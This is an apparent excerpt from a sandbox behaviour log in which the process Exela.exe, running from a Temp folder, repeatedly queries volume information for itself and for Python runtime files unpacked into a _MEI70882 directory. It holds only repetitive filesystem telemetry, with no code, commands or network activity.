Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\libcrypto-1_1.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\libssl-1_1.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\pyexpat.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\python310.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_asyncio.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_cffi_backend.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_socket.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_lzma.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_sqlite3.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_ssl.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_asyncio.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_overlapped.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict\_multidict.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\_hashlib.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl\_quoting_c.cp310-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\unicodedata.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Exela.exe VolumeInformation
